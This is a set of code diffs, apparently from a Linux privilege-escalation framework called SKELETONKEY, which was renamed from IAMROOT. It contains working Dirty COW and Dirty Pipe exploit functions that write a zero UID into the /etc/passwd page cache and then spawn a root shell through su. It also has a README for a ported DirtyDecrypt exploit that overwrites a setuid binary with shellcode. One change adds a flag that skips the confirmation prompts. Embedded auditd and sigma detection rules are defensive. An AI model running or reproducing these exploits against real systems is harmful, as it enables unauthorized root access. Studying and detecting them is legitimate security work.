#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module copy_fail_module;
extern const struct skeletonkey_module copy_fail_gcm_module;
extern const struct skeletonkey_module dirty_frag_esp_module;
extern const struct skeletonkey_module dirty_frag_esp6_module;
extern const struct skeletonkey_module dirty_frag_rxrpc_module;
#endif
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@@ -31,6 +31,7 @@ bool dirtyfail_use_color = true;
bool dirtyfail_active_probes = false;
bool dirtyfail_no_revert = false;
bool dirtyfail_json = false;
bool dirtyfail_assume_yes = false;
static void vlog(FILE *out, const char *prefix, const char *color,
const char *fmt, va_list ap)
@@ -226,6 +227,19 @@ size_t build_authenc_keyblob(unsigned char *out,
bool typed_confirm(const char *expected)
{
/* When the caller has already cleared an explicit authorization gate
* (SKELETONKEY's --i-know, forwarded via dirtyfail_assume_yes), the
* DIRTYFAIL typed prompt is redundant and would deadlock non-interactive
* runs like `skeletonkey --auto --i-know`. Auto-satisfy it.
*
* The SSH self-lockout guard (YES_BREAK_SSH) is deliberately exempt:
* it protects the operator's own access rather than gating
* authorization, so it always requires an interactive answer. */
if (dirtyfail_assume_yes && strcmp(expected, "YES_BREAK_SSH") != 0) {
log_step("confirmation gate '%s' auto-satisfied (--i-know)", expected);
return true;
}
char buf[128];
printf(" Type \033[1;33m%s\033[0m and press enter to proceed: ", expected);
fflush(stdout);
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@@ -86,6 +86,14 @@ extern bool dirtyfail_no_revert;
* is redirected to stderr. Set by --json. */
extern bool dirtyfail_json;
/* When true, typed_confirm() auto-satisfies its gate instead of reading
* stdin — the caller has already cleared an explicit authorization gate.
* SKELETONKEY's bridge layer sets this from skeletonkey_ctx.authorized
* (i.e. the --i-know flag) so non-interactive runs like
* `skeletonkey --auto --i-know` don't deadlock on the DIRTYFAIL prompt.
* The YES_BREAK_SSH self-lockout guard is exempt — see typed_confirm(). */
extern bool dirtyfail_assume_yes;
void log_step (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_ok (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
void log_bad (const char *fmt, ...) __attribute__((format(printf, 1, 2)));
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@@ -0,0 +1,25 @@
# NOTICE — dirty_cow (CVE-2016-5195)
## Vulnerability
**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
→ arbitrary file write into the page cache.
## Research credit
Discovered by **Phil Oester**, October 2016. The bug had been latent in
the kernel since ~2007.
Original advisory: <https://dirtycow.ninja/>
Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
## SKELETONKEY role
Two-thread Phil-Oester-style race: writer thread via
`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
`/etc/passwd` UID field flip + `su` for the root shell. Useful for
**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
mem-open patterns.
@@ -1,12 +0,0 @@
/*
* dirty_cow_cve_2016_5195 — IAMROOT module registry hook
*/
#ifndef DIRTY_COW_IAMROOT_MODULES_H
#define DIRTY_COW_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_cow_module;
#endif
@@ -1,5 +1,5 @@
/*
* dirty_cow_cve_2016_5195 IAMROOT module
* dirty_cow_cve_2016_5195 SKELETONKEY module
*
* The iconic CVE-2016-5195. COW race in get_user_pages() / fault
* handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,17 +41,21 @@
* - execve(su) shell with uid=0
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <stdatomic.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <fcntl.h>
#include <errno.h>
#include <pwd.h>
@@ -224,49 +228,57 @@ static void revert_passwd_page_cache(void)
}
}
/* ---- iamroot interface ---- */
/* ---- skeletonkey interface ---- */
static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirty_cow: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
bool patched = kernel_range_is_patched(&dirty_cow_range, v);
if (patched) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
v.release);
v->release);
fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
"/etc/passwd via /proc/self/mem\n");
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
iamroot_result_t pre = dirty_cow_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_cow_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
/* Consult ctx->host->is_root so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_OK;
}
struct passwd *pw = getpwuid(geteuid());
if (!pw) {
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
off_t uid_off;
@@ -275,7 +287,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +304,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
return IAMROOT_EXPLOIT_OK;
return SKELETONKEY_EXPLOIT_OK;
}
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,19 +317,47 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: the Dirty COW primitive (writer thread via
* /proc/self/mem + madvise(MADV_DONTNEED)) is Linux-only kernel
* surface. Stub out cleanly so the module still registers and
* `--list` / `--detect-rules` work on macOS/BSD dev boxes and so
* the top-level `make` actually completes there. */
static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirty_cow: Linux-only module "
"(/proc/self/mem + madvise race) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirty_cow: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* ---- Embedded detection rules ---- */
static const char dirty_cow_auditd[] =
@@ -325,14 +365,14 @@ static const char dirty_cow_auditd[] =
"# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
"# False-positive surface: debuggers, gdb, strace — all legit users of\n"
"# /proc/self/mem. Combine with the file watches below to triangulate.\n"
"-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
"-w /etc/passwd -p wa -k iamroot-dirty-cow\n"
"-w /etc/shadow -p wa -k iamroot-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
"-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/passwd -p wa -k skeletonkey-dirty-cow\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-cow\n"
"-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";
static const char dirty_cow_sigma[] =
"title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
"id: 1e2c5d8f-iamroot-dirty-cow\n"
"id: 1e2c5d8f-skeletonkey-dirty-cow\n"
"status: experimental\n"
"description: |\n"
" Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +390,7 @@ static const char dirty_cow_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
const struct iamroot_module dirty_cow_module = {
const struct skeletonkey_module dirty_cow_module = {
.name = "dirty_cow",
.cve = "CVE-2016-5195",
.summary = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +406,7 @@ const struct iamroot_module dirty_cow_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_cow(void)
void skeletonkey_register_dirty_cow(void)
{
iamroot_register(&dirty_cow_module);
skeletonkey_register(&dirty_cow_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
#define DIRTY_COW_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_cow_module;
#endif
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@@ -25,7 +25,7 @@ by them.
Even in 2026, many production deployments still run vulnerable
kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
makes IAMROOT useful as a "historical sweep" tool on long-tail
makes SKELETONKEY useful as a "historical sweep" tool on long-tail
systems.
## Implementation plan
@@ -34,8 +34,8 @@ systems.
`NOTICE.md` when implemented)
- `detect()`: kernel version check + `/proc/version` parse + test
for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su iamroot` — same shape as copy_fail's
- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
`/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
backdoor mode
- Detection rules: auditd on splice() calls + pipe write patterns,
filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.
Pick this up after Phase 1 (module-interface refactor of the
copy_fail family) so this module can use the standard
`iamroot_module` shape from the start.
`skeletonkey_module` shape from the start.
@@ -0,0 +1,21 @@
# NOTICE — dirty_pipe
## Vulnerability
**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
arbitrary file write into the page cache.
## Research credit
Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
Original advisory: <https://dirtypipe.cm4all.com/>
Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
## SKELETONKEY role
This module bundles the canonical splice-into-pipe primitive that
writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
via `su`. Detection covers the splice() syscall against sensitive
files and non-root modifications to passwd/shadow.
@@ -13,14 +13,14 @@
# Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
# any modification by non-root — the Dirty Pipe payload typically
# overwrites these to gain root.
-w /etc/passwd -p wa -k iamroot-dirty-pipe
-w /etc/shadow -p wa -k iamroot-dirty-pipe
-w /etc/sudoers -p wa -k iamroot-dirty-pipe
-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe
-w /etc/passwd -p wa -k skeletonkey-dirty-pipe
-w /etc/shadow -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe
-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe
# Watch every splice() syscall — combined with the file watches above
# this catches the canonical exploit shape. (High volume on servers
# using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
# exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
title: Possible Dirty Pipe exploitation (CVE-2022-0847)
id: f6b13c08-iamroot-dirty-pipe
id: f6b13c08-skeletonkey-dirty-pipe
status: experimental
description: |
Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
references:
- https://dirtypipe.cm4all.com/
- https://nvd.nist.gov/vuln/detail/CVE-2022-0847
author: IAMROOT
author: SKELETONKEY
date: 2026/05/16
logsource:
product: linux
@@ -1,12 +0,0 @@
/*
* dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
*/
#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
#define DIRTY_PIPE_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module dirty_pipe_module;
#endif
@@ -1,9 +1,9 @@
/*
* dirty_pipe_cve_2022_0847 IAMROOT module
* dirty_pipe_cve_2022_0847 SKELETONKEY module
*
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
* commit (the C code is well-understood Max Kellermann's public PoC
* is the reference but landing it under the iamroot_module
* is the reference but landing it under the skeletonkey_module
* interface needs the shared passwd-field/exploit-su helpers in core/
* which are deferred to Phase 1.5).
*
@@ -15,24 +15,23 @@
*
* Detect logic:
* - Parse uname() release into major.minor.patch
* - If kernel < 5.8 IAMROOT_OK (bug not introduced yet)
* - If kernel < 5.8 SKELETONKEY_OK (bug not introduced yet)
* - If kernel is on a branch with a known backport, compare patch
* level (above threshold = patched, below = vulnerable)
* - If kernel >= 5.17 IAMROOT_OK (mainline fix)
* - Otherwise IAMROOT_VULNERABLE
* - If kernel >= 5.17 SKELETONKEY_OK (mainline fix)
* - Otherwise SKELETONKEY_VULNERABLE
*
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
* counter, NOT the upstream patch level). For now we treat that as
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
* hint. A future enhancement: parse /proc/version's full string
* which usually includes the upstream patch level after the distro
* suffix.
*/
#include "iamroot_modules.h"
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
* redefine here (warning: redefined). */
@@ -42,6 +41,11 @@
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h" /* used inside this block only */
#include "../../core/host.h"
#include <fcntl.h>
#include <errno.h>
#include <sys/stat.h>
@@ -223,7 +227,7 @@ static const struct kernel_range dirty_pipe_range = {
* /etc/passwd writes; safe to run from --scan --active. */
static int dirty_pipe_active_probe(void)
{
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
int fd = mkstemp(probe_path);
if (fd < 0) return -1;
const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,24 +256,29 @@ static int dirty_pipe_active_probe(void)
return readback[4] == 'X' ? 1 : 0;
}
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
struct kernel_version v;
if (!kernel_version_current(&v)) {
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
return IAMROOT_TEST_ERROR;
/* Consult the shared host fingerprint instead of calling
* kernel_version_current() ourselves populated once at startup
* and identical across every module's detect(). */
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* Bug introduced in 5.8. */
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
if (!ctx->json) {
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
v.release);
v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
/* Active probe overrides version-only verdict when requested.
* The version check is necessary-but-not-sufficient: distros
@@ -284,9 +293,9 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
if (probe == 1) {
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
"(version %s)\n", v.release);
"(version %s)\n", v->release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
if (probe == 0) {
if (!ctx->json) {
@@ -294,7 +303,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
"primitive blocked (likely patched%s)\n",
patched_by_version ? "" : ", or distro silently backported");
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
* back to version-only verdict and report TEST_ERROR caveat */
@@ -307,37 +316,40 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
if (patched_by_version) {
if (!ctx->json) {
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
"use --active to confirm empirically)\n", v.release);
"use --active to confirm empirically)\n", v->release);
}
return IAMROOT_OK;
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
" Confirm empirically: re-run with --scan --active\n",
v.release);
v->release);
}
return IAMROOT_VULNERABLE;
return SKELETONKEY_VULNERABLE;
}
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
/* Re-confirm vulnerability before writing to /etc/passwd. */
iamroot_result_t pre = dirty_pipe_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
return pre;
}
/* Resolve current user. */
/* Resolve current user. Consult ctx->host->is_root for the
* already-root short-circuit so unit tests can construct a
* non-root fingerprint regardless of the test process's real euid. */
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return SKELETONKEY_OK;
}
uid_t euid = geteuid();
struct passwd *pw = getpwuid(euid);
if (!pw) {
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
return IAMROOT_TEST_ERROR;
}
if (euid == 0) {
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
return IAMROOT_OK;
return SKELETONKEY_TEST_ERROR;
}
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +361,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
pw->pw_name);
return IAMROOT_TEST_ERROR;
return SKELETONKEY_TEST_ERROR;
}
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +380,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
* far past the file's first 4096 bytes. Refuse cleanly. */
if ((uid_off & 0xfff) == 0) {
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (!ctx->json) {
@@ -377,13 +389,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
}
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
if (ctx->no_shell) {
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
return IAMROOT_EXPLOIT_OK;
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
return SKELETONKEY_EXPLOIT_OK;
}
/* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +406,63 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
/* If execlp returns, su didn't actually pop root — revert and report. */
perror("execlp(su)");
revert_passwd_page_cache();
return IAMROOT_EXPLOIT_FAIL;
return SKELETONKEY_EXPLOIT_FAIL;
}
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
if (!ctx->json) {
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
}
revert_passwd_page_cache();
return IAMROOT_OK;
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
* unreachable elsewhere. Stub out cleanly so the module still
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
* boxes and so the top-level `make` actually completes there. */
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* Embedded detection rules — keep the binary self-contained so
* `iamroot --detect-rules --format=auditd` works without a separate
* `skeletonkey --detect-rules --format=auditd` works without a separate
* data-dir install. */
static const char dirty_pipe_auditd[] =
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
static const char dirty_pipe_sigma[] =
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
"id: f6b13c08-iamroot-dirty-pipe\n"
"id: f6b13c08-skeletonkey-dirty-pipe\n"
"status: experimental\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
@@ -435,7 +475,7 @@ static const char dirty_pipe_sigma[] =
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
const struct iamroot_module dirty_pipe_module = {
const struct skeletonkey_module dirty_pipe_module = {
.name = "dirty_pipe",
.cve = "CVE-2022-0847",
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +491,7 @@ const struct iamroot_module dirty_pipe_module = {
.detect_falco = NULL,
};
void iamroot_register_dirty_pipe(void)
void skeletonkey_register_dirty_pipe(void)
{
iamroot_register(&dirty_pipe_module);
skeletonkey_register(&dirty_pipe_module);
}
@@ -0,0 +1,12 @@
/*
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
*/
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module dirty_pipe_module;
#endif
@@ -0,0 +1,81 @@
# dirtydecrypt — CVE-2026-31635
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
> a vulnerable-kernel VM** — see _Verification status_ below.
## Summary
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
incoming rxgk socket buffers **in place** before the HMAC is verified.
When the skb fragment pages are page-cache pages — spliced in via
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
page cache of a read-only file.
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
## Primitive
Each `fire()`:
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
completes the rxgk handshake.
3. Forges a DATA packet whose **wire header comes from userspace** and
whose **payload pages come from the target file's page cache**
(`splice` + `vmsplice`).
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
check then fails (expected), but the page cache is already mutated.
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
15-byte collateral of round _i_ without disturbing the byte round _i_
fixed. Net cost ≈ 256 fires per byte.
The exploit rewrites the first 120 bytes of a setuid-root binary
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
`setuid(0)` + `execve("/bin/sh")`.
## Operations
| Op | Behaviour |
|---|---|
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
| `--detect-rules` | Emits embedded auditd + sigma rules. |
## Preconditions
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
- A readable setuid-root binary to use as the payload carrier.
- x86_64 (the embedded ELF payload is x86_64 shellcode).
## Verification status
This module is a **faithful port** of
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
into the SKELETONKEY module interface. The **exploit body** has not
been validated end-to-end against a known-vulnerable kernel inside the
SKELETONKEY CI matrix.
**`detect()` is now version-pinned** against the mainline fix commit
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
tracker confirms older stable branches as <not-affected, vulnerable
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
detector runs the rxgk primitive against a `/tmp` sentinel and reports
